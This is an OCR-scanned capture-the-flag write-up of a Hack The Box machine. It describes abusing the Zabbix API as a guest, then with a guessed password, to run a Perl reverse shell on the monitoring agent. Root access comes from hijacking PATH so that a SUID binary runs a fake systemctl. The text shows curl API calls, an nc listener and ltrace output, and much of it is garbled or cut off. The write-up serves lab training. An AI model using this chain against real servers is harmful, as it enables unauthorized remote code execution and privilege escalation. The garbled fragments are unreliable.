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What you will learn:

®* APl to RCE

Funky shell magic to get a stable environment
Abusing SUID binaries

* Path manipulation

Overview:

® Can issue API calls as a user we cant authenticate as

* We can create a script (thru API calls) and get RCE as user within a container

® Create a perl reverse shell script and make it run on the zabbix agent (running on the
host OS)

* Priv esc is a suid binary that executes the command

®* We can hijack this command by creating our own systemctl file (with a reverse shell),
then modify the path so the suid file, and executes our file instead of

Detailed Steps

We'll start by performing some initial recon:
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Based on the SSH version, this is likely Ubuntu Bionic (18.04), we have a Zabbix Agent on port
10050, and a website at port 80.

Going to the website we're greeted with an Apache2 Ubuntu default page:

Apache2 Ubuntu Default Page

This is the default welcome page used to test the correct operation of the Apachez server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu

Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is warkinn nronerly Yo shonilld renlace this file (lncated at fvar/suwae /html findey html)

So lets go ahead and run gobuster to get a better idea of the landscape:



https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4
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We see the name Zabbix again. Zabbix is a software suite designed to give IT staff visibility over
their IT infrastructure through a web GUI and an API. Their pages boasts: Monitor anything -
Solutions for any kind of IT infrastructure, services, applications, resources.

We get this login page , we don’t have credentials but down there there’s an option to sign in as a
guest. So yeah it really is a server monitoring tool but as guest we get to see a dashboard but we

LAB' ECcause we are a guest user.

After some enumeration we will notice in : Monitoring -> Latest data , Zapper's Backup Script
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Help = Support
Now we have a potential username : , we can try to brute force or fuzz the password , but
a quick guess worked for me , the username is the password

[CRETIS IR , on exploit-db there’s an authenticated remote code execution exploit for an

old version of zabbix. https://www.exploit-db.com/exploits/39937 .Unfortunately valid credentials

are not enough to =2ﬂRBB|X

Aftfﬁl 8irng %Wgunt of research (and me knowing that this box is abusing APIs) | turned to

the zabbix API, which is documented
import json
https://www.zabbjx.com/documentation/3.0/manual/api/reference.
import readline

FARTY RONT = 'httn://197 162 _AA 7' ### 7ahhix TP-addrece
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So what well want to do is simple:

1. Log into the API

2. Get list of Host IDs
3. Get a reverse-shell by executing a script specifying proper host ID's

Performing requests
Once you've set up the frontend, you can use remote HTTP requests to call the API. To do that you need to send HTTP POST requests to the api_jsonrpc.php 1

Zabbix frontend is installed under http://company.com/zabbix, the HTTP request to call the apiinfo.version method may look like this:

POST http://company.com/zabbix/api_jsonrpc.php HTTP/1.1
Content-Type: application/json-rpc

{"jsonrpc":"2.8","method" :"apiinfo.version™,"id":1,"auth":null, "params":{}}

The request must have the Content-Type header set to one of these values: application/json-rpc, application/json or application/jsonrequest.

To interact with the api, I'll send POST requests to NEESRYETS

So we need to login, to do so we'll perform the following:

Before you can access any data inside of Zabbix you'll need to log in and obtain an authentication
token so now that we've obtained this authentication token we can login using the using the

method to list users.
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"attempt failed": "0",
Ila.ttemptiipll: n II’
"attempt clock": "0"
"rows per page": "50"
}

] ’

"id": 1

}

curl -s http: //10.10.10. 108/zabbix/api jsonrpc
"{"jsonrpc":"2.0", "method":"host. get",

"params": {}}' | jq .

"hostid": "10106",
"proxy hostid": "0",
"host": "Zipper",

"hostid": "10105",

"proxy hostid": "0",

“"host": "Zabbix",

And | can also get a list of scripts currently set:

curl -s http: //10.10.10.108/zabbix/api jsonrpc
"{"jsonrpc":"2.0", "method":"script.get",
"params": {}}' | jq .

{

"id": 1,

"id":

.php -H "Content- Type

. php -H "Content-Type

| can also list the hosts ID, and see there’s two, named Zabbix and Zipper using the following
command:

application/json-rpc"

"auth":"98d9elf155c0be74352ccbb0f9b4e453",

application/json-rpc"

1, "auth":"98d9elf155c0be74352ccbb0f9b4e453",

-d

-d



“jsonrpc": "2.0",

"result": [

{

"scriptid": "1",

"name": "Ping",

"command": " /bin/ping -c 3 {HOST. CONN} 2>&1",
"host access": "2",

"usrgrpid": "@",

"groupid": "0@",

"description”: "",

"confirmation": "",

“"type": "0",

"execute on": "1"

}

{

"scriptid": "2",

“name": "Traceroute",

“command": " /usr/bin/traceroute {HOST. CONN} 2>&1",
"host access": "2",

"usrgrpid": "0",

"groupid": "0",

"description": "",

"confirmation": "",

"type": "0",

"execute on": "1"

}

{

"scriptid": "3",

"name": "Detect operating system",
“command": "sudo /usr/bin/nmap -0 {HOST. CONN} 2>&1",
"host access": "2",

"usrgrpid": "7",

"groupid": "@",

"description": "",

“confirmation": "",

“type": "0",

"execute on": "1"

}

1,



Now in theory there are multiple ways of obtaining a shell. | know of 2 but I've seen someone do it
in 4 different ways. In this walk-through we'll simple be doing it through the API.

| listed the hosts that this instance of Zabbix is controlling. One was called Zabbix, and the other
Zipper. So to attack Zipper I'll grab the hostid of 10106, and create a script to run whatever | want

(https://www.zabbix.com/documentation/3.0/manual/api/reference/script/create)

NIRRT M - the command to run

g - can be anything
° - where to run the script. If | don’t specify this, the default is 1, which
means it will run on the Zabbix server.

But | want to run it at the Zabbix agent, so I'll pass 0.

| get back the scriptid of 4. Now I'll run that with script.execute:


https://www.zabbix.com/documentation/3.0/manual/api/reference/script/create

As you can see the command ran and it displayed the ID (zabbix), so we know it works now lets do
the same thing but to obtain a reverse shell.

So lets upload the script:

Now I'll hit the script.execute api again. for it to execute the script | uploaded.

his time it just hangs (and eventually times out) only giving me around 10 second to do anything:
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root@ -
® cat perl | nc -nlvp 443
Ncat ion 7 { http 8

14:49:59
:-32500,

nrpc.php -H "Content-Typ
352ccbbef9 :
32500, g
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Now we have a shell as zabbix but the user.txt file is owned by zapper so we will have to privilege
escalate to zapper.

and hope it makes out life easy:

Permission denied

Inside of utils located in zapper's home directory we find 2 files. and ARG .

You can see it says ... yeah that's the password for zapper...
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Now we have user.txt

o root.

etting back to where we currently are if shit goes
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Yh/DOMIBUavqgTcX/RVveOrEKS8pErQqYgHLHqcsRUGI1I6FSyUPwjnQ=

So doing some basic enumeration we realize that suid is set on zabbix-service

zapper@zipper: ~/utils$ find / -perm -u=s -type f 2>/dev/null

/home/zapper /utils/zabbix-service

So we'll have to actually understand it and see how we can exploit it... when ran it asks whether to
stop or run the service so lets run Itrace and see whats going on.

zapper@zipper: ~/utils$ . /zabbix-service
. /zabbix-service
start or stop?: start

start

zapper@zipper: ~/utils$ ltrace . /zabbix-service
ltrace . /zabbix-service

__libc start main(0x42b6ed, 1, Oxbfacafd4, 0x42b840 <unfinished ... >

setuid( 0) = -1
setgid(0) = -1
printf("start or stop?: ") =16

fgets(start or stop?: start

start

"start\n", 10, Oxb7f2b5c0) = Oxbfacaf02

strcspn("start\n", "\n") =5

strcmp("start", "start") =0

system("systemctl daemon-reload && syste"...Failed to reload daemon: The name

org. freedesktop. PolicyKitl was not provided by any .service files

<no return ...>



Based on the output, we see that the program executes TG E SIS
as user root. The call towards close to the end
CEEI ARt . |t's a bit cut off, but | can see it better in

That’s calling on without a path. If | change the path and call again, | can
replace systemctl with my own thing to run.

My new systemctl looks like this:

We will add as the first entry in env variable , so the system will look
there first :

export PATH=/home/zapper /utils: $PATH
This is changing the variable to + the old path

We are now root!

at root.txt
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By Boschko

* My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
: My Website: https://olivierlaflamme.qgithub.io/

* My GitHub: https://github.com/OlivierLaflamme
®* My WeChat QR below:
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